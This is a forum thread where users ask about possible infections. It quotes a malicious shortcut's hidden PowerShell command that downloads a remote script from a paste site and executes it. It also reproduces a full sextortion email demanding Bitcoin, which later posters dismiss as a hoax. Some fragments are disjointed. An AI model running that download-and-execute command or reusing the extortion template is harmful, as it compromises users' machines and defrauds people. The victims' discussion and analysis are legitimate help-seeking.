Virus or not?

Hey everyone...
I was just sitting here looking at my desktop when I noticed these weird little red "sub-icons" popping up on all my main shortcuts, and they look kind of like this:


I don't know, maybe it's nothing, but I can't help but wonder if I've accidentally picked up some kind of virus or something?

I can't really upload images here, so I'm flying blind on what you're looking at—but honestly? Just grab Malwarebytes and run a full scan on your PC. It'll tell you everything you need to know.

Larry Ortiz5 said:I can't really upload images here, so I'm flying blind on what you're looking at—but honestly? Just grab Malwarebytes and run a full scan on your PC. It'll tell you everything you need to know.

There is a red circle with a slash over the icons, almost like a "no entry" sign.

... swapped out that "arrow" icon for a shortcut marker... child's play.

I downloaded this torrent thinking I was getting an episode of a show, but instead of a standard .avi file, it was just a shortcut. I clicked it before realizing what happened.

When I checked the properties, the Target field showed this mess:

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powersh ell.exe -NoPr -WINd 1 -eXEc ByP $wcli = ((New-Object System.Net.WebClient)).DownloadString('https://paste.ee/r/wfDvH/0');IEX $wcli

Can someone please tell me how to handle this? I’m pretty sure I just triggered some script that acts like malware.

Thomas Sanchez30 said:I downloaded this torrent thinking I was getting an episode of a show, but instead of a standard .avi file, it was just a shortcut. I clicked it before realizing what happened.

When I checked the properties, the Target field showed this mess:

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powersh ell.exe -NoPr -WINd 1 -eXEc ByP $wcli = ((New-Object System.Net.WebClient)).DownloadString('https://paste.ee/r/wfDvH/0');IEX $wcli

Can someone please tell me how to handle this? I’m pretty sure I just triggered some script that acts like malware.

Look, my first thought? This script basically grabs some binary from the web and runs it. You won't really know the full extent of what's happening inside without digging deep into the code, but honestly, it sounds like one of those annoying things that just messes with your icons. If it were actually high-level malicious stuff, you probably wouldn't even realize anything went wrong in the first place.

Just grab that binary from the link, toss it into VirusTotal to see what it finds, or run it through Anubis if that service is still up and running.

swiftwalker6 said:Look, my first thought? This script basically grabs some binary from the web and runs it. You won't really know the full extent of what's happening inside without digging deep into the code, but honestly, it sounds like one of those annoying things that just messes with your icons. If it were actually high-level malicious stuff, you probably wouldn't even realize anything went wrong in the first place.

Just grab that binary from the link, toss it into VirusTotal to see what it finds, or run it through Anubis if that service is still up and running.

No, I'm not changing any icons. I haven't seen any "symptoms," if you want to call them that.

I’m not trying to hijack the OP's thread—I just figured I'd chime in with my own experience here rather than cluttering things up by starting a whole new topic. 😁

Thanks,

Oops,
Everything else I said still stands.
Just grab that script from the link and post it here. You can find the link right after John Doe(
Looking at what you sent, there's no way to tell if it's actually a virus or not.

Probably

Help! I got this email (xxx is the username, hosted by CNN):

Hello xxx.xxx@

My darknet handle is zacharia24.
I'll begin by saying that I hacked this email account (just check the 'from' field in your header) over six months ago,
and used it to plant a custom trojan on your OS so I could watch you for a while.

Even if you updated your password since then—it’s irrelevant. My malware grabbed all your cached data
and handed me the keys to the kingdom.

I have full access to your socials, your email, and your entire browsing history.
That means I have the data of all your contacts, plus every file, photo, and video on your hard drive.

Honestly, I was mostly surprised by the adult sites you frequent.
You’ve got quite the colorful imagination.

While you were busy entertaining yourself, I used your webcam to snap screenshots of you, synced perfectly to whatever you were viewing.
It was pretty hilarious to watch.

I’m assuming you don’t want your entire contact list seeing those files, right?
If we're on the same page, $500 is a small price to pay to make this mess disappear.

Transfer the funds to my Bitcoin wallet: 1MN7A7QqQaAVoxV4zdjdrnEHXmjhzcQ4Bq
Once the payment clears, I promise the data is gone. I have no use for it.

If not, your contacts are getting everything: the files, the history, the works.
I’ll also blast out your email login info and access logs to everyone. I've got it all logged.

You have 48 hours from the moment you read this.
The second you open this, I get an automated ping letting me know you've seen it.

Consider this a reality check.
Stop being so careless. Stick to reputable sites and stop typing your passwords into random windows.
Good luck.

Didn't clarify above, the email looks like I just sent it to myself from my own address

There isn't any actual proof attached here, so it’s probably just a hoax. Honestly, if you've got a webcam, just cover it up with some electrical tape. That's what I always do, just to make sure the FBI isn't watching my every move. You can also try reporting it through an abuse complaint.
And as for whether you should pay the ransom? Think long and hard about that. There's absolutely no guarantee they won't just come back for more later.

Not paying a dime. It’s probably just a bait tactic to get into your bank account.

Really hoping this turns out to be a fake.

I got the exact same message today. My only question is which camera on my PC it managed to link up with. 😵 😵

So you think the subject line is: {adresa} is hacked?

I actually got the exact same thing yesterday. Though, if they really were tracking my every move, they must have been incredibly bored. I suppose I’m just a little worried about what my friends might think if they ever saw my browsing history—it's basically just endless rabbit holes about gardening, travel tips, and psychology 😵 😛 🍿

Jane Doe: okay, fine, and maybe a bit of politics too. I guess that could technically count as "dirt" 🤣

People have been dropping money into the Bitcoin balance... some guy managed to stack up $15k in just two days flat.
https://bitref.com/1MN7A7QqQaAVoxV4zdjdrnEHXmjhzcQ4Bq

It’s not a virus...https://nexusconsultancy.co.uk/blog/...d-of-yourself/

Another email just landed with the exact same content, username: granville32

So, some guy named louis93...
He really went all out with the intro: claims he's straight out of the dark web... I was absolutely losing it laughing my head off...
What, did he find a secret society living in the shadows of modern civilization through the dark web?

Then he tries to threaten me by saying he’ll "leak" videos of me "partying with porn"... dude, I don't even own a camera... please, let the people enjoy the show.

BTW, checking the payments is the funniest part: plenty of them take this way too seriously and dutifully send $500 worth in crypto, then you've got someone sending $0.45 while others troll him... based on the IP address from the email, the guy is actually out in Colombia.